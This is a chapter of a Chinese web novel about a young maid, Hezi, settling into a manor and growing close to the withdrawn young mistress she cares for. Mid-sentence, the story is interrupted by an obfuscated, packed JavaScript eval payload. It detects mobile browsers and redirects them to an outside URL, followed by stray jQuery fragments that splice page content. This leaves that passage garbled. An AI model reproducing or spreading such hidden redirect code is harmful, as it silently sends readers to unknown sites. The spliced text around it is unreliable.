住的地方虽然是隔间，但看上去可一点也不小，一张床可以躺三个和子，旁边还有衣柜跟小洗漱台。


    纪管家站在门口道：“这里都是几十年前的装修，虽然有些简陋，住人倒也还凑合，被子枕头都是新的，衣服鞋袜里面还有两套，足够日常换洗，牙膏之类的小物件也都有，每季度都会发新的，若还缺什么物件到时候跟我说。”


    和子走进去，左右探了探，一拍脑袋：“少了箱清。”


    纪管家罕见地没反应过来，她身后的另个女佣倒是道：“哎呦，你说那东西，咱们这上厕所已经用马桶了。”


    和子扭头问道：“马桶是什么？”


    纪管家侧身拉开另一个不到一平方的小隔间，指道：“这是马桶，厕所跟住的地方是分开的，这边放的是卷纸，下边是垃圾桶，你坐这上面，上完按一下后边的按钮，小的按小按钮，大的按大按钮，你上完用卷纸从前往后擦干净，扔在桶里，到三分之二的地方就能拿去扔了。”


    和子上手摸摸马桶，感觉好像玻璃。


    纪管家抽回手：“上完记得洗手，扔完垃圾也要洗，小姐爱干净。”


    和子猛点两下头：“好的纪管家。”


    纪管家招手示意和子出来：“你记住，你日常的主要职责就是照顾小姐，至于怎么照顾，那些粗活你不用干，细活大多也用不着你，你主要是得学会看小姐脸色，不说让她心情好这样的难事，但也不能让她心情不好……这道理你得自己琢磨，我帮不了你。”


    和子听完有些惊讶，犹豫道：“要是小姐心情不好呢？”


    “不好？”纪管家笑了笑，“她要是讨厌你，自然会让你走，到时你就去做粗活，打扫庭院厕所，也就累些的事情。”


    “记住，她喜欢安静的，日常她让你做什么你就去做，不要忤逆她，你平常怎么对祖宗就怎么对她，你识字吗？”


    和子有点尴尬：“……不识。”


    纪管家点点头：“不识也不是什么大事，可以学起来，藏书室有字典，你先认拼写，再去学字，纸墨我到时候让人送来，不懂得可以问我，也能问她们……”


    和子的视线扫向她身后的人们，僵硬点头。


    她的头朝身后的佣人微微倾斜，笑道：“不要觉得识字麻烦，识字了总归方便点，你看我本来把记录小姐日常会做什么、你怎么回应的纸给你看就好了，你要是忘记怎么做还能低头看，口述就比较麻烦，还容易忘。”


    和子把视线从左边移到右边：“您说吧，我会努力就记住的。”


    “首先，跟主人说话的时候……”


    纪管家说了两个多小时，和子听到后面早就把开始的内容全部忘了，等晚上小姐用餐，她站在一旁就开始不知所措了。


    十几米长的餐桌，就坐一个人，这一个人的面前就摆了二十几道食物，除了面包没一个是和子认得的。


    和子看得眼花缭乱，身边的女人瞧了凑过来，语气略有骄傲：“小姐这还是从简的，你那是没见过夫人开宴会的时候，这里的食物摆满十条长桌，不管天上海里的都给你找来，外面来的宾客光豪车能排出一公里外……”


    “小姐吃好了，走吧。”


    和子回过神，看向桌上的食物，每盘食物都几乎保持在端上来的模样，她又看向小姐的盘子，如果不是上面的那点残渣，她都不确定小姐已经吃过了。


    “走了走了。”


    芙子，也就是刚刚跟和子讲话的女佣拍拍她的手臂道：“小姐吃得少，这些食物撤下去会放到后厨，供佣人吃，等没人吃了再倒掉，你要是馋，可以等会饭点去吃。”


    和子感激道：“谢谢你芙子。”


    芙子不以为意：“这事大伙都知道，不过你想多吃点最好早些去，不然好吃的都被抢完，只剩下面包黄油，窝头咸菜了。”


    和子高兴应下，看小姐又回到客厅，见什么事，肚子又饿了，便打算去吃饭，又问芙子要不要跟自己一起。


    芙子笑道：“我中午吃饱了，现在还不饿，你自己去吧，你认识厨房吧？”


    和子点点头，下午纪管家跟她说了，厨房在一楼，西南方向。


    走进厨房，和子庆幸自己来早了，长餐桌上用餐的人不多，就三个，都是和子没见过的面孔，和子四处张望了下，给自己拿了只碗跟一双筷子，在其中一人身边坐下，开始进食，吃了一口，她停下了。


    她发现另外三个人突然都不吃饭了，都在看她，她奇怪的低头看自己，没发现自己身上有什么不同的，于是她抬头询问他们：“你们怎么不吃了？”


    三人没说话，面面相觑。


    和子弄不明白：“你们怎么不说话？”


    三人中看上去最年长的男人开口了，他抖抖自己发白的胡须：“你不知道主人剩下的食物是管家跟厨师长先行享用吗？然后再分配给你们这些佣人。”


    和子唰一下站起来，低头道歉道：“对不起，我今天第一天来，有人跟我说早点来能吃到好吃的……”


    “……倒也不是什么大事。”其中一个女人开口。


    和子偷偷往上瞄，又迅速收回视线。


    “那怎么办？让她坐着继续吃？还是站着看我们吃？”


    没说过话的中年男人问。


    最终，白胡子男人拍案，让和子坐下来一起吃，又问她是做什么的。


    “照顾小姐。”


    和子的嘴巴鼓鼓囊囊，喉咙还在努力发声，这里的食物些都是她没吃过的，味道也不尽相同，但都好吃到她想连舌头都吞进肚子。


    白胡子摸摸小翘胡子若有所思。


    女人问和子甜点好吃还是主菜好吃，和子为难地说自己选不出来，女人哈哈一笑，说甜点是自己做的，主菜是沸里斯，也就是那个中年男人做的，和子瞪大眼。


    众人哈哈大笑。


    和子吃完饭跟他们告别，回到了小姐的房间，听到开门声的小姐抬头瞥了她一眼，又低下头。


    她没吩咐事，和子只得在原地干站，她回忆下午纪管家跟自己说的话，想着小姐喜欢安静，她既然看书，那自己不打扰她就行了。


    站了一个多小时，盯着墙上钟表发呆的和子感觉腿有些酸痛，她小心翼翼抬头看了眼小姐，发现她还在专心看书，想着自己偷会懒应该也没事，便蹲下来捏自己的小腿。


    才捏了一小会功夫，她就听到远处飘来小姐的声音：“累了去自己房间休息，没人逼你在这站。”


    和子僵了一下，缓慢抬头，她以为自己会对上小姐冰冷的视线，抬头才发现小姐连头都没抬。


    她悬起的心顿时落地了。


    “谢谢小姐！”她高高兴兴道谢完，跑进了自己的小天地。


    脱鞋躺在床上，抱着柔软的被子，和子又有了流泪的冲动，这是她第一次拥有自己的房间。她闭上眼，任自己的身体放松下来，紧接着伸直自己的所有躯干，像在水中滑动般伸了个毫无停顿的懒腰。


    有自己的房间真舒服啊，她想，连伸懒腰都不会磕磕绊绊。


    *


    小姐是个怎样的人？


    十七岁的和子不止一次思考过这个问题，面对这个比她小四岁的少女，和子始终感觉看不透她。


    小姐晚上经常看书到很晚，而且常常忘记关灯，和子半夜出来厕所总能看到顶灯下少女紧闭的眼眸，那是和子最适合观察小姐的时候，醒来的小姐是一个对实现极其敏锐的人


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16902715|179256||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，和子不敢在那时观察她。


    和子踮脚走过去，走到小姐的床边，她光着脚，踩在地板上一点声音也没有。


    她屏住呼吸，像自己第一天进入这个大庄园那样。


    “啪嗒。”


    灯关了。


    她望向小姐的脸，见到她还闭着眼后松了口，回到自己的房间。


    *


    和子真正认识小姐也是在一个夜晚。


    下雨的夜晚，雨不是很大，和子晚上照样静悄悄地出来准备关灯，结果她发现灯早就关了，窗户被紧紧拉着，卧室里很是暗淡，和子准备把打开的门缝合上，回去继续睡觉。


    但关门时她又犹豫了，她觉得今天有些不同，纠结过后她决定再去看一眼小姐，看她有没有睡着，她蹑手蹑脚地走过外室，饶过屏风，地板很凉，可能是因为今天下雨了，水汽有点大。


    这点凉意对和子来说不足挂齿，但看到小姐赤脚坐在地上，和子内心感到着急，她正想开口劝小姐回床上睡觉，就看到小姐抬头看她，同时拿起手边的枕头砸向她，嘴里喊着“走开。”


    柔软的枕头打到身上一点也不痛，和子却不敢前进了。她僵在原地，有点不知道如何是好，纪管家没有教过她怎么跟生气的小姐相处。


    “走开！你听不懂话吗？”


    小姐的语气凶巴巴的，但和子居然一点害怕的感觉都没有，这样的小姐让她联想起脾气大的小羊，生气时总对人横冲直撞的。


    又一个枕头砸过来，和子往后退了几步，然后一股气冲上去抱住了小姐。


    “小姐我不是故意惹您生气的但赤脚在地上会着凉的，您要生气先去床上吧！”


    小姐看上去跟和子差不多高，但抱上去小小的，这是和子的第一个想法。


    “……放开。”


    沉默一会后，和子听到小姐说。


    和子没放：“除非您答应我……”


    小姐开始挣扎，她的力气很大，比小羊要大多了，但好在和子的力气也不小，她牢牢地圈住小姐，像圈住乱跑的羊。不论这只羊是用脚踢她，用手拍她，用头撞她，用胳膊击打她，她都没有还手，从始至终她只是紧紧保住她。


    紧紧的，和子用尽力气，抱住了小姐。


    最终小姐屈服了。


    她不再挣扎，松开手脚，和子此时才放开她，将她放到床上。


    “……你在做什么？”


    在床上躺的挺直的小姐问和子。


    光线太暗淡，和子看不清小姐的表情，她不知道她现在是否还恨着她，对她生气，所以她怯怯道：“我也不知道，可能是为了让您不着凉。”


    小姐很有力气，那些击打不痛是不可能的，但和子没有为此感到一点难过，她感到一丝成功的喜悦，她感到小姐好起来了。


    “这没有多重要。”小姐说。


    “照顾您是我的职责，所以这对我很重要。”和子揉着手说。


    小姐把被子翻起一个脚，钻进去道：“你去睡吧。”


    “好的小姐，”和子站在原地没走，“但我想知道您是因为什么生气，是不是我哪里做的不好？”


    “不……是我的问题。”


    小姐闷闷的声音从被子里传来。


    “噢……”和子又不知道说什么了。


    “那我去睡了，小姐。”


    没人会应，和子走回房间，直到关上门，床上的小姐才若有若无地“嗯”了声，和子没有听到这声嗯，和子想起小姐母亲去世了，虽然她还不知道小姐过去发生了什么，她只是凭直觉逐渐对小姐有了些“可怜”的想法。


    和子下定决定以后一定要好好照顾小姐，就像小姐的妈妈一样照顾她。